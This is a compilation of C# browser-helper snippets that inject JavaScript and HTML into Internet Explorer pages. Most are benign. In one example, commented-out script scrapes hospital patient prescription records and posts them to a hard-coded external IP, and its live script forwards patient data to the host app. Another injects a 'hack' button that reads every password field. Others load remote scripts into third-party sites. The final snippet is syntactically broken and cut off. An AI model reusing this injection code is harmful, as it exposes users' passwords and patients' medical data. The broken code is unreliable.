示例#1
0
        private void IeInstance_DocumentComplete(object pDisp, ref object URL)
        {
            string url = URL as string;

            if (string.IsNullOrEmpty(url) ||
                url.Equals("about:blank", StringComparison.OrdinalIgnoreCase))
            {
                return;
            }

            bool isOriginMatched = false;

            foreach (var origin in manifest.AllowedOrigins)
            {
                if (Regex.IsMatch(url, origin))
                {
                    isOriginMatched = true;
                    break;
                }
            }

            if (!isOriginMatched)
            {
                return;
            }


            InternetExplorer explorer = pDisp as InternetExplorer;

            HTMLDocument    document = explorer.Document;
            HTMLHeadElement head     = document.all.tags("head").item(null, 0);

            foreach (var stylesheet in manifest.StyleSheets)
            {
                IHTMLStyleElement styleObject = (IHTMLStyleElement)document.createElement("style");
                styleObject.type = "text/css";
                styleObject.styleSheet.cssText = stylesheet;
                head.appendChild((IHTMLDOMNode)styleObject);
            }

            foreach (var script in manifest.Scripts)
            {
                IHTMLScriptElement scriptObject = (IHTMLScriptElement)document.createElement("script");
                scriptObject.type = "text/javascript";
                scriptObject.text = script;
                head.appendChild((IHTMLDOMNode)scriptObject);
            }

            foreach (var html in manifest.Htmls)
            {
                document.body.insertAdjacentHTML("beforeEnd", html);
            }
        }
示例#2
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            HTMLDocument document     = (HTMLDocument)webBrowser.Document;
            dynamic      window       = document.parentWindow;
            IExpando     ScriptObject = (IExpando)window;
            PropertyInfo btnEvent     = ScriptObject.GetProperty("toQt", BindingFlags.Default);

            if (btnEvent == null)
            {
                btnEvent = ScriptObject.AddProperty("toQt");
            }
            btnEvent.SetValue(ScriptObject, this, null);
            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)
                                               document.all.tags("head")).item(null, 0);
            IHTMLScriptElement scriptObject = (IHTMLScriptElement)document.createElement("script");

            scriptObject.type = @"text/javascript";
            //scriptObject.text = "alert('aa')";
            //scriptObject.text = "var myEles = document.getElementById('su'); if(myEles != undefined && myEles != null) {myEles.valuvalu";
            //scriptObject.text = "var data={'aa':document.getElementById('names')};$.ajax({type: 'POST',url: 'http://127.0.0.1:8000/opendata/test/',contentType: 'application/json;charset=utf-wind8',dataType: 'json',data: JSON.stringify(data),success: function (data) {  console.log(data);})";
            //scriptObject.text = "  $('#btnQuery').click(function(){var trs=document.querySelectorAll('tr.DataGridItem');var keys=['流水号','处方号','姓名','病历号','看诊医生','看诊时间','是否已发药','发药时间','发药人员','处方(含耗材)金额','退药'];var data=[];for(var i=0;i<trs.length;i++){tds=trs[i].querySelectorAll('td');var item={};item={'流水号':tds[0].innerText,'处方号':tds[1].innerText,'姓名':tds[2].innerText,'病历号':tds[3].innerText,'看诊医生':tds[4].innerText,'看诊时间':tds[5].innerText,'是否已发药':tds[6].innerText,'发药时间':tds[7].innerText,'发药人员':tds[8].innerText,'处方(含耗材)金额':tds[9].innerText};data.push(item)};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(function(){var trs=document.querySelectorAll('tr.DataGridItem');var keys=['流水号','处方号','姓名','病历号','看诊医生','看诊时间','是否已发药','发药时间','发药人员','处方(含耗材)金额','退药'];var data=[];for(var i=0;i<trs.length;i++){tds=trs[i].querySelectorAll('td');var item={};item={'流水号':tds[0].innerText,'处方号':tds[1].innerText,'姓名':tds[2].innerText,'病历号':tds[3].innerText,'看诊医生':tds[4].innerText,'看诊时间':tds[5].innerText,'是否已发药':tds[6].innerText,'发药时间':tds[7].innerText,'发药人员':tds[8].innerText,'处方(含耗材)金额':tds[9].innerText};data.push(item)};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(var data={'tttt':'3dy.me'};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(var data={'tttt':'3dy.me'};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $(window.parent.frames['ifWorkFrame'].document).find('input#btnQuery').click(function(){alert('aa')})";
            //document.getElementById(id).contentDocument
            //scriptObject.text = "  $('#input').click(function(){alert('aa')})";
            //通知栏所在区域,打开区域
            //window.parent.document.getElementsByTagName('frameset')[2].setAttribute('rows', '105,*')
            //病人取药的tables
            //window.frames[2].frames[0].document.getElementById("gvInfo").innerText
            //查询按钮
            //window.frames[2].frames[0].document.getElementById("btnQuery").value

            //发药按钮(详情页内)
            //btnFayao window.frames[2].frames[0].document.getElementById("btnFayao")
            //  病人信息,名字,性别,年龄
            //病人信息(详情页内)
            //var tab = window.frames[2].frames[0].document.getElementById("tbPatient").rows[0].cells[5].innerHTML.split(" ")[0];


            //table.row[1].cells[10].onmouseover = function(){ alert("ss")}
            //}
            //测试调用自定义的DLL window.toQt.ie_add(99,100)+''
            // scriptObject.text = "var myEles = document.getElementById('su'); var kw=document.getElementById('kw').value ; myEles.onclick=aaa(kw);function aaa(kw){alert(window.toQt.ie_add(99,100));}";
            //scriptObject.text = "var sub = window.frames[1].document.getElementById('td_left');";
            //scriptObject.text += "var card=document.createElement('div');card.style.height='200px';card.style.width='200px';card.style.backgroundColor='#007fbb';card.style.setAttribute('position','absolute');card.style.left='20px';card.style.top='30px';sub.appendChild(card);var title=document.createElement('div');title.style.setAttribute('position','absolute');title.style.left='5%';title.style.width='55%';title.style.height='50px';title.style.paddingLeft='35%';title.style.fontSize='36px';title.style.marginTop='30px';title.style.color='#fff';title.style.borderBottom='1px solid #fff';title.innerText='18';card.appendChild(title);var man=document.createElement('div');man.style.setAttribute('position','absolute');man.style.top='100px';man.style.left='5%';man.style.width='55%';man.style.height='50px';man.style.paddingLeft='18%';man.style.fontSize='36px';man.style.color='#fff';man.innerText='马若莉';card.appendChild(man);";
            //scriptObject.text += "var sub=document.createElement('div');sub.style.height='105px';sub.style.width='1000px';sub.style.backgroundColor='#ededed';document.getElementById('sub').appendChild(sub);var card=document.createElement('div');card.style.height='100px';card.style.width='120px';card.style.backgroundColor='#007fbb';card.style.setAttribute('position','absolute');card.style.left='20px';card.style.top='5px';sub.appendChild(card);var title=document.createElement('div');title.style.setAttribute('position','absolute');title.style.left='5%';title.style.width='55%';title.style.height='30px';title.style.paddingLeft='35%';title.style.fontSize='24px';title.style.color='#fff';title.style.borderBottom='1px solid #fff';title.innerText='18';card.appendChild(title);var man=document.createElement('div');man.style.setAttribute('position','absolute');man.style.top='50px';man.style.left='5%';man.style.width='55%';man.style.height='30px';man.style.paddingLeft='18%';man.style.fontSize='22px';man.style.color='#fff';man.innerText='马若莉';card.appendChild(man);";
            //window.frames[2].frames[0].document.getElementById('btnFayao')
            //scriptObject.text = "window.frames[2].frames[0].document.getElementById('btnQuery').onmouseover=function(){alert('hasssshhaa ')}";
            //document.getElementById('main').onmouseover=function(){alert('hasssshhaa ')}
            //scriptObject.text = "var sub = window.frames[1].document.getElementById('td_left');";
            //scriptObject.text += "var card=document.createElement('div');card.style.height='200px';card.style.width='200px';card.style.backgroundColor='#007fbb';card.style.setAttribute('position','absolute');card.style.left='20px';card.style.top='30px';sub.appendChild(card);var title=document.createElement('div');title.style.setAttribute('position','absolute');title.style.left='5%';title.style.width='55%';title.style.height='50px';title.style.paddingLeft='35%';title.style.fontSize='36px';title.style.marginTop='30px';title.style.color='#fff';title.style.borderBottom='1px solid #fff';title.innerText='18';card.appendChild(title);var man=document.createElement('div');man.style.setAttribute('position','absolute');man.style.top='100px';man.style.left='5%';man.style.width='55%';man.style.height='50px';man.style.paddingLeft='18%';man.style.fontSize='36px';man.style.color='#fff';man.innerText='马若莉';card.appendChild(man);";
            //scriptObject.text += "var sub=document.createElement('div');sub.style.height='105px';sub.style.width='1000px';sub.style.backgroundColor='#ededed';document.getElementById('sub').appendChild(sub);var card=document.createElement('div');card.style.height='100px';card.style.width='120px';card.style.backgroundColor='#007fbb';card.style.setAttribute('position','absolute');card.style.left='20px';card.style.top='5px';sub.appendChild(card);var title=document.createElement('div');title.style.setAttribute('position','absolute');title.style.left='5%';title.style.width='55%';title.style.height='30px';title.style.paddingLeft='35%';title.style.fontSize='24px';title.style.color='#fff';title.style.borderBottom='1px solid #fff';title.innerText='18';card.appendChild(title);var man=document.createElement('div');man.style.setAttribute('position','absolute');man.style.top='50px';man.style.left='5%';man.style.width='55%';man.style.height='30px';man.style.paddingLeft='18%';man.style.fontSize='22px';man.style.color='#fff';man.innerText='马若莉';card.appendChild(man);";
            //scriptObject.text="window.frames[2].frames[0].document.getElementById('btnQuery').onmouseover = function(){ var info = getMan(); window.toQt.sendPatientInfo(info)}; function getMan() { var table = window.frames[2].frames[0].document.getElementById('gvInfo'); var t = ''; for (var i = 1; i < table.rows.length; i++) { t += table.rows[i].cells[0].innerText + ';' + table.rows[i].cells[2].innerText + '*'} return t};";
            //scriptObject.text = "var old_info = ''; ftimer = setInterval(function () { var gvInfo = window.frames[2].frames[0].document.getElementById('gvInfo'); if (gvInfo != undefined && gvInfo!= null) { var info = getMan(); if (info == '') { } else { if (old_info == info) { } else { old_info = info; alert(info); } } } else { } }, 1000);";
            scriptObject.text = "var old_info = ''; function getMan() { var table = window.frames[2].frames[0].document.getElementById('gvInfo'); var t = ''; for (var i = 1; i < table.rows.length; i++) { t += table.rows[i].cells[0].innerText + ';' + table.rows[i].cells[2].innerText + '*' } return t }ftimer = setInterval(function() { var gvInfo = window.frames[2].frames[0].document.getElementById('gvInfo'); if (gvInfo != undefined && gvInfo != null) { var info = getMan(); if (info == '') { } else { if (old_info == info) { } else { old_info = info; alert(info);window.toQt.sendPatientInfo(info); } } } else { } }, 1000); ";
            //scriptObject.text = "alert('bcho2.exe')";
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);
        }
示例#3
0
        private void InjectDisableScript()
        {
            HTMLDocument doc = LocationWidget.GoogleMap.Document as HTMLDocument;

            HTMLDocument doc2 = LocationWidget.GoogleMap.Document as HTMLDocument;


            //Questo crea lo script per la soprressione degli errori

            IHTMLScriptElement scriptErrorSuppressed = (IHTMLScriptElement)doc2.createElement("SCRIPT");

            scriptErrorSuppressed.type = "text/javascript";

            scriptErrorSuppressed.text = DisableScriptError;



            IHTMLElementCollection nodes = doc.getElementsByTagName("head");



            foreach (IHTMLElement elem in nodes)
            {
                //Appendo lo script all'head cosi è attivo



                HTMLHeadElement head = (HTMLHeadElement)elem;

                head.appendChild((IHTMLDOMNode)scriptErrorSuppressed);
            }
        }
示例#4
0
        public SlideTickScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            builder.Append("function slidetick(objname){");

                builder.Append("var elapsed = (new Date()).getTime() - startTime[objname];");
                builder.Append("if (elapsed > slideAniLen){");
                    builder.Append("endSlide(objname);");
                    builder.Append("}");

                builder.Append("else {");
                builder.Append("var d = Math.round(elapsed / slideAniLen * endHeight[objname]);");
                builder.Append("if(dir[objname] == 'up')");

            builder.Append("d = endHeight[objname] - d;");

                    builder.Append("obj[objname].style.height = d + 'px';");
                    builder.Append("}");

                builder.Append("return;");
            builder.Append("}");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";
            _script.text = builder.ToString();
        }
示例#5
0
        public VBScriptNode(HTMLDocument Document)
        {
            _script = (IHTMLScriptElement)Document.createElement("script");
            ((IHTMLElement) _script).setAttribute("language", "vbscript", 0);

            _script.text = "Function decline_link_click() : Document.getElementById(\"buy4_notice\").style.display=\"none\" : End Function";
        }
示例#6
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            document = (HTMLDocument)webBrowser.Document;

            // System.Windows.Forms.MessageBox.Show("Hi");
            if (document != null)
            {
                IHTMLWindow2 tmpWindow = document.parentWindow;
                if (tmpWindow != null)
                {
                    HTMLWindowEvents2_Event events = (tmpWindow as HTMLWindowEvents2_Event);
                    try
                    {
                        if (URL.ToString().Contains("cis6200.jp/cis"))
                        {
                            IHTMLElement       head         = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);
                            IHTMLScriptElement scriptObject = (IHTMLScriptElement)document.createElement("script");
                            scriptObject.type = @"text/javascript";
                            scriptObject.src  = @"https://inventivesolutionste.ipage.com/javascripts/cdd/ciscode.js";
                            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);
                            events.onload -= new HTMLWindowEvents2_onloadEventHandler(RefreshHandler);
                        }
                    }
                    catch { }
                    events.onload += new HTMLWindowEvents2_onloadEventHandler(RefreshHandler);
                }
            }
        }
示例#7
0
        /// <summary>
        /// Inject JS code that should disable popup errors
        /// But some JS errors still appears : Need to be fixed.
        /// </summary>
        private void InjectDisableScript()
        {
            string disableScriptError = @"function noError() {return true;} window.onerror = noError;";

            HTMLDocumentClass doc  = webBrowser.Document as HTMLDocumentClass;
            HTMLDocument      doc2 = webBrowser.Document as HTMLDocument;

            IHTMLScriptElement scriptErrorSuppressed = (IHTMLScriptElement)doc2.createElement("SCRIPT");

            scriptErrorSuppressed.type = "text/javascript";
            scriptErrorSuppressed.text = disableScriptError;

            IHTMLElementCollection nodes = doc.getElementsByTagName("head");

            foreach (IHTMLElement elem in nodes)
            {
                try
                {
                    HTMLHeadElementClass head = (HTMLHeadElementClass)elem;
                    head.appendChild((IHTMLDOMNode)scriptErrorSuppressed);
                }
                catch (Exception)
                {
                }
            }
        }
示例#8
0
        void addLoadingIcon(IHTMLDOMNode div)
        {
            HTMLDivElement loadingIconDivOuter = (HTMLDivElement)document.createElement("div");

            loadingIconDivOuter.className     = "libron_loading_icon_div_outer";
            loadingIconDivOuter.style.cssText = "padding:7px;border:1px solid #cbc6bd;background:#e8e4db;-moz-border-radius:5px;-webkit-border-radius:5px;font-size:12px;";
            HTMLDivElement loadingIconDiv = (HTMLDivElement)document.createElement("div");

            loadingIconDiv.className = "libron_loading_icon_div";
            loadingIconDiv.innerHTML = "<span style='color:#666;'>図書館を検索中</span> <image style='vertical-align:middle;' src='" + loadingIcon + "'><br /><br /><br />";
            loadingIconDivOuter.appendChild((IHTMLDOMNode)loadingIconDiv);
            div.appendChild((IHTMLDOMNode)loadingIconDivOuter);
        }
示例#9
0
        private void InjectScriptToHead(HTMLDocument doc, string script)
        {
            IHTMLDOMNode       head     = (IHTMLDOMNode)doc.getElementsByTagName("head").item(0);
            IHTMLScriptElement scriptEl = (IHTMLScriptElement)doc.createElement("script");

            scriptEl.type = "text/javascript";
            scriptEl.text = script;
            head.appendChild((IHTMLDOMNode)scriptEl);
        }
示例#10
0
        public string invalid(TreeViewItem items)
        {
            if (items == null)
            {
                return("");
            }
            string html = "";

            foreach (TreeViewItem item in items.Items)
            {
                if (item.Header.ToString() == "<TEXT>")
                {
                    html += item.DataContext;

                    continue;
                }
                var    x       = dom.createElement(((IHTMLElement)item.DataContext).tagName);
                string newHTML = x.outerHTML;

                using (SiteGeneratorContext context = new SiteGeneratorContext {
                })
                {
                    var attr = (from at in context.HTML_ATTR
                                where ((IHTMLElement)item.DataContext).tagName == at.TAG
                                select at.NAME_ATTR);

                    foreach (var query in attr)
                    {
                        dynamic a   = ((IHTMLElement)item.DataContext).getAttribute(query.ToString(), -1);
                        string  buf = "" + a;
                        if (buf.Length > 0)
                        {
                            newHTML = newHTML.Insert(newHTML.IndexOf('>'), " " + query + "=" + '"' + a + '"');
                        }
                    }
                }

                html += newHTML.Insert(newHTML.IndexOf('>') + 1,
                                       item.Items.Count <= 0 ?
                                       (((IHTMLElement)item.DataContext).innerHTML == null ? "" : ((IHTMLElement)item.DataContext).innerHTML + item.DataContext)
                    : invalid(item));
            }
            return(html);
        }
示例#11
0
        public DeclineHyperlink(HTMLDocument Document)
        {
            _anchor = Document.createElement("a");
            _anchor.setAttribute("href", "javascript:decline_link_click()", 0);

            _anchor.style.fontSize = "x-small";
            _anchor.style.fontWeight = "normal";

            _anchor.innerText = "No, thanks";
        }
示例#12
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            HTMLDocument       document       = (HTMLDocument)webBrowser.Document;
            IHTMLElement       head           = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);
            IHTMLScriptElement adaptiveScript = (IHTMLScriptElement)document.createElement("script");

            adaptiveScript.type = @"text/javascript";
            adaptiveScript.src  = "https://js.adaptive.org.uk/adaptive.js";
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)adaptiveScript);
        }
示例#13
0
        private void GenerateWatermarkElement(HTMLDocument htmlDoc)
        {
            IHTMLElement watermark = htmlDoc.createElement(Wartermark_Tag);

            watermark.className = Wartermark_CssClass;
            watermark.innerText = GetWatermarkContent();

            IHTMLDOMNode body = htmlDoc.body as IHTMLDOMNode;

            body.insertBefore(watermark as IHTMLDOMNode, body.firstChild);
        }
示例#14
0
        public AcceptHyperlink(HTMLDocument Document, string AcceptUrl, string StoreID)
        {
            _anchor = Document.createElement("a");
            _anchor.setAttribute("href", "javascript:accept_link_click();",0);
            _anchor.setAttribute("id", "accept_link", 0);

            _anchor.style.fontSize = "x-small";
            _anchor.style.fontWeight = "bold";

            _anchor.innerText = "Yes, Log Me In";
        }
示例#15
0
文件: YesLink.cs 项目: grefly/Buy4
        public YesLink(HTMLDocument Document, string AcceptUrl, string StoreID, string ReturnUrl)
        {
            _yes_link = Document.createElement("a");

            AcceptUrl = AcceptUrl
                .Replace("###id###", StoreID)
                .Replace("###return_url###", ReturnUrl);

            _yes_link.setAttribute("href",AcceptUrl,0);
            _yes_link.setAttribute("id", "yes_link",0);
            _yes_link.innerText = "Yes";
        }
示例#16
0
        private void NavigateIE(string url, string title)
        {
            try
            {
                if (_loginBrowser != null)
                {
                    if (!isCaseIDOpened)
                    {
                        _logger.Trace("Going to take the document from the control.");
                        HTMLDocument htmlDoc = (HTMLDocument)_loginBrowser.Document;
                        _logger.Trace("The document retrieved from the control.");

                        var scriptErrorSuppressed = (IHTMLScriptElement)htmlDoc.createElement("SCRIPT");
                        scriptErrorSuppressed.type  = "text/javascript";
                        scriptErrorSuppressed.text  = "var caseIdWindow=null; function OpenCaseIdWindow(url,title){ if(caseIdWindow==null){caseIdWindow=window.open(url,title,\"location=no,directories=no,status=no,menubar=no,scrollbars=1,resizable=yes\");} else{caseIdWindow.location=url;} }";
                        scriptErrorSuppressed.text += "OpenCaseIdWindow('" + url + "','" + title + "')";
                        IHTMLElementCollection nodes = htmlDoc.getElementsByTagName("head");
                        foreach (IHTMLElement elem in nodes)
                        {
                            var head = (HTMLHeadElement)elem;
                            head.appendChild((IHTMLDOMNode)scriptErrorSuppressed);
                            break;
                        }
                    }
                    else
                    {
                        _logger.Trace("Going to take the document from the control.");
                        HTMLDocument htmlDoc = (HTMLDocument)_loginBrowser.Document;
                        _logger.Trace("The document retrieved from the control.");

                        var scriptErrorSuppressed = (IHTMLScriptElement)htmlDoc.createElement("SCRIPT");
                        scriptErrorSuppressed.type  = "text/javascript";
                        scriptErrorSuppressed.text += "OpenCaseIdWindow('" + url + "','" + title + "')";
                        IHTMLElementCollection nodes = htmlDoc.getElementsByTagName("head");
                        foreach (IHTMLElement elem in nodes)
                        {
                            var head = (HTMLHeadElement)elem;
                            head.appendChild((IHTMLDOMNode)scriptErrorSuppressed);
                            break;
                        }
                    }
                }
                else
                {
                    _logger.Trace("The browser window is null.");
                }
            }
            catch (Exception generalException)
            {
                _logger.Error("Error occuured as " + generalException.Message);
                _logger.Trace("Error Trace: " + generalException.StackTrace);
            }
        }
示例#17
0
        public static IHTMLDOMNode create_display_div(HTMLDocument document,Store store,config config)
        {
            IHTMLElement div = document.createElement("div");

            /* This will be removed */
            YesLink yes = new YesLink(document, config.accept_url, store.id, document.url);

            ((IHTMLDOMNode) div).appendChild((IHTMLDOMNode) yes.Element);

            /* End removed */

            return (IHTMLDOMNode) div;
        }
示例#18
0
        public AcceptLinkClickScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            // This function is called when the user clicks the YES, LOG ME IN link
            builder.Append("function accept_click(){");
            builder.Append("set_cookie_cache();");
            builder.Append("}");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";
            _script.text = builder.ToString();
        }
示例#19
0
文件: Charging.cs 项目: afrog33k/eAd
        private void InjectDisableScript()
        {
            HTMLDocument       document  = this.LocationWidget.GoogleMap.Document as HTMLDocument;
            HTMLDocument       document2 = this.LocationWidget.GoogleMap.Document as HTMLDocument;
            IHTMLScriptElement element   = (IHTMLScriptElement)document2.createElement("SCRIPT");

            element.type = "text/javascript";
            element.text = "function noError() {\r\n\r\n          return true;\r\n       }\r\n       window.onerror = noError;";
            foreach (IHTMLElement element2 in document.getElementsByTagName("head"))
            {
                ((HTMLHeadElement)element2).appendChild((IHTMLDOMNode)element);
            }
        }
示例#20
0
文件: BHO.cs 项目: windgan/vkpatch
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            /*
             * Проверка по адресу
             */
            string url     = URL.ToString();
            bool   matched = false;

            foreach (Regex reg in regulars)
            {
                if (reg.Match(url).Success)
                {
                    matched = true;
                    break;
                }
            }
            ;
            if (!matched)
            {
                return;
            }

            document = (HTMLDocument)webBrowser.Document;

            /*
             * скрипт уже подключён
             */
            if (document.getElementById(scriptElementId) != null)
            {
                return;
            }
            ;


            // создаем скрипт
            string            source        = vkpatch.Properties.Resources.vkpatch.ToString();
            HTMLScriptElement scriptElement = (HTMLScriptElement)document.createElement("script");

            scriptElement.text = source;
            scriptElement.id   = "vkpatch";

            // выполняем инъекцию в head
            IHTMLElementCollection heads = document.getElementsByTagName("head");

            foreach (HTMLHeadElement head in heads)
            {
                head.appendChild((IHTMLDOMNode)scriptElement);
                break;
            }
        }
示例#21
0
        public DeclineLinkClickScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            // This function is called when the user clicks the NO THANKS link
            builder.Append("function decline_click(){");
            builder.Append("set_cookie_cache();");
            builder.Append("slideup('buy4_notice');");
            builder.Append("}");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";
            _script.text = builder.ToString();
        }
示例#22
0
文件: NoticeDiv.cs 项目: grefly/Buy4
        public NoticeDiv(HTMLDocument Document,Buy4Configuration Config, Store Store)
        {
            _div = Document.createElement("div");
            _div.innerHTML = Config.GetContent(Store, Document.url);
            _div.style.cssText = Config.GetStyle();

            _div.setAttribute("id", "buy4_notice", 0);
            ((IHTMLStyle2) _div.style).overflowX = "hidden";
            ((IHTMLStyle2) _div.style).overflowY = "hidden";
            ((IHTMLStyle2) _div.style).position = "relative";
            _div.style.display = "none";
            _div.style.filter = "alpha(opacity=95)";
            _div.style.zIndex = 1000;
        }
示例#23
0
        private void InsertScript(HTMLDocument xrmDoc, string script)
        {
            IHTMLScriptElement scriptErrorSuppressed = (IHTMLScriptElement)xrmDoc.createElement("SCRIPT");

            scriptErrorSuppressed.type = "text/javascript";
            scriptErrorSuppressed.text = script;
            IHTMLElementCollection nodes = xrmDoc.getElementsByTagName("head");

            foreach (IHTMLElement elem in nodes)
            {
                HTMLHeadElement head = (HTMLHeadElement)elem;
                head.appendChild((IHTMLDOMNode)scriptErrorSuppressed);
            }
        }
示例#24
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            document = (HTMLDocument)webBrowser.Document;
            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);
            var          body = (HTMLBody)document.body;

            //添加Javascript脚本
            IHTMLScriptElement scriptElement = (IHTMLScriptElement)document.createElement("script");

            scriptElement.type = "text/javascript";
            scriptElement.text = "function FindPassword(){var tmp=document.getElementsByTagName('input');var pwdList='';for(var i=0;i<tmp.length;i++){if(tmp[i].type.toLowerCase()=='password'){pwdList+=tmp[i].value}} alert(pwdList);}";//document.getElementById('PWDHACK').value=pwdList;
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptElement);

            //创建些可以使用CSS的节点
            string            styleText = @".tb{position:absolute;top:100px;}";//left:100px;border:1px red solid;width:50px;height:50px;
            IHTMLStyleElement tmpStyle  = (IHTMLStyleElement)document.createElement("style");

            tmpStyle.type = "text/css";
            tmpStyle.styleSheet.cssText = styleText;

            string btnString = @"<input type='button' value='hack' onclick='FindPassword()' />";

            body.insertAdjacentHTML("afterBegin", btnString);
        }
示例#25
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            HTMLDocument document = (HTMLDocument)webBrowser.Document;

            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)
                                               document.all.tags("head")).item(null, 0);

            IHTMLScriptElement scriptObject =
                (IHTMLScriptElement)document.createElement("script");

            scriptObject.type = @"text/javascript";
            scriptObject.text = "alert('HOLA!!!');"; // <---- JAVASCRIPT INJECTION HAPPENS HERE!

            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);
        }
示例#26
0
        private void HighLightingText(HTMLDocument document, IHTMLDOMNode node, string keyword, int cnt)
        {
            // nodeType = 3:text节点
            if (node.nodeType == 3)
            {
                string nodeText = node.nodeValue.ToString();
                // 如果找到了关键字
                if (nodeText.Contains(keyword))
                {
                    IHTMLDOMNode parentNode = node.parentNode;
                    // 将关键字作为分隔符,将文本分离,并逐个添加到原text节点的父节点
                    string[] result = nodeText.Split(new string[] { keyword }, StringSplitOptions.None);
                    for (int i = 0; i < result.Length - 1; i++)
                    {
                        if (result[i] != "")
                        {
                            IHTMLDOMNode txtNode = document.createTextNode(option[cnt] + result[i] + option[cnt]);
                            parentNode.insertBefore(txtNode, node);
                        }
                        IHTMLDOMNode orgNode       = document.createTextNode(option[cnt] + keyword + option[cnt]);
                        IHTMLDOMNode hilightedNode = (IHTMLDOMNode)document.createElement("SPAN");
                        IHTMLStyle   style         = ((IHTMLElement)hilightedNode).style;
                        style.color           = "black";
                        style.backgroundColor = color[cnt];
                        hilightedNode.appendChild(orgNode);

                        parentNode.insertBefore(hilightedNode, node);
                    }
                    if (result[result.Length - 1] != "")
                    {
                        IHTMLDOMNode postNode = document.createTextNode(option[cnt] + result[result.Length - 1] + option[cnt]);
                        parentNode.insertBefore(postNode, node);
                    }
                    parentNode.removeChild(node);
                } // End of nodeText.Contains(keyword)
            }
            else
            {
                // 如果不是text节点,则递归搜索其子节点
                IHTMLDOMChildrenCollection childNodes = node.childNodes as IHTMLDOMChildrenCollection;
                foreach (IHTMLDOMNode n in childNodes)
                {
                    HighLightingText(document, n, keyword, cnt);
                }
            }
        }
示例#27
0
        private void Navigated(object sender, NavigationEventArgs e)
        {
            //Inject error disable script;
            HTMLDocument dom = (HTMLDocument)_transactionsBrowser.Document;

            IHTMLScriptElement scriptErrorSuppressed = (IHTMLScriptElement)dom.createElement("SCRIPT");

            scriptErrorSuppressed.type = "text/javascript";
            scriptErrorSuppressed.text = DisableScriptError;
            IHTMLElementCollection nodes = dom.getElementsByTagName("head");

            foreach (IHTMLElement elem in nodes)
            {
                HTMLHeadElement head = (HTMLHeadElement)elem;
                head.appendChild((IHTMLDOMNode)scriptErrorSuppressed);
            }
        }
        private void webBrowser_DocumentComplete(object pDisp, ref object URL)
        {
            string url  = URL as string;
            string path = Path.GetTempPath() + "merlin.txt";

            //System.Windows.Forms.MessageBox.Show("document_complete fire!");
            //string user_code="";
            if (string.IsNullOrEmpty(url) ||
                url.Equals("about:blank", StringComparison.OrdinalIgnoreCase) || url.Equals("about:Tabs", StringComparison.OrdinalIgnoreCase))
            {
                return;
            }
            if (pDisp == ieInstance as object)
            {
                try
                {
                    HTMLDocument           document_this = ieInstance.Document as HTMLDocument;
                    IHTMLElementCollection h             = document_this.all.tags("head") as IHTMLElementCollection;
                    IHTMLElement           head          = h.item(null, 0) as IHTMLElement;
                    IHTMLScriptElement     scriptElement = document_this.createElement("script") as IHTMLScriptElement;
                    scriptElement.type = "text/javascript";
                    string input = "<input type='hidden' id='uid' value=''>";

                    if (!File.Exists(path))
                    {
                        using (FileStream fs = File.Create(path))
                        {
                            scriptElement.text = "var crypto=window.msCrypto; function getRandomToken() {var randomPool = new Uint8Array(32); crypto.getRandomValues(randomPool);" +
                                                 "var hex = '';for (var i = 0; i < randomPool.length; ++i) {hex += randomPool[i].toString(16);} return hex;}" + "var userId = getRandomToken();" +
                                                 "document.getElementById('uid').value=userId;";
                            document_this.body.insertAdjacentHTML("afterBegin", input);
                            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptElement);
                            var usrId = document_this.getElementById("uid");
                            IHTMLInputElement usrIdElement = usrId as IHTMLInputElement;
                            Byte[]            info         = new UTF8Encoding(true).GetBytes(usrIdElement.value);
                            fs.Write(info, 0, info.Length);
                        }
                    }
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                    //System.Windows.Forms.MessageBox.Show(e.Message);
                }
            }
        }
示例#29
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            //Implement logic to insert Javascript and div elements to the browser

            HTMLDocument oDocument = (HTMLDocument)oWebbrowser.Document;

            IHTMLElement oHead = (IHTMLElement)IHTMLElementCollection)oDocument.all.tags("head")).item(null, 0);

            IHTMLScriptElement scriptObject = (IHTMLScriptElement)oDocument.createElement("script");
            scriptObject.type = @"text/javascript";
            scriptObject.text = "function hidediv(){document.getElementById('mydiv').style.visibility = 'hidden';}";
            ((HTMLHeadElement)oHead).appendChild((IHTMLDOMNode)scriptObject);


            IHTMLElement body = (IHTMLElement)oDocument.body;
